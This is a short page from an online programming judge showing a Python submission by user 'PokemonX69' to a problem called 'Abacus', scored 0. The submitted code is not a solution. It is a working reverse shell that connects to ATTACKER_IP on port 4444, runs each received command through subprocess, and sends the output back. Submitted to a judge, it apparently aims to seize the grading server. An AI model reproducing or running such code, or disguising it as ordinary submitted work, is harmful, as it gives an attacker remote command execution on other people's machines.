Submission
Status:
xxxxxxxxxxxxxxxxxxxx
Score: 0
User: PokemonX69
Problemset: Abacus
Language: python
Time: 0.000 second
Submitted On: 2025-03-14 00:38:15
import socket
import subprocess
import os
ATTACKER_IP = "10.0.2.15"
ATTACKER_PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ATTACKER_IP, ATTACKER_PORT))
os.chdir(os.path.expanduser("~"))
while True:
data = s.recv(1024).decode("utf-8")
if data.lower() == "exit":
break
if data.startswith("cd "):
try:
os.chdir(data[3:].strip())
s.send(b"Changed directory\n")
except FileNotFoundError:
s.send(b"Directory not found\n")
continue
output = subprocess.getoutput(data)
s.send(output.encode("utf-8") + b"\n")
s.close()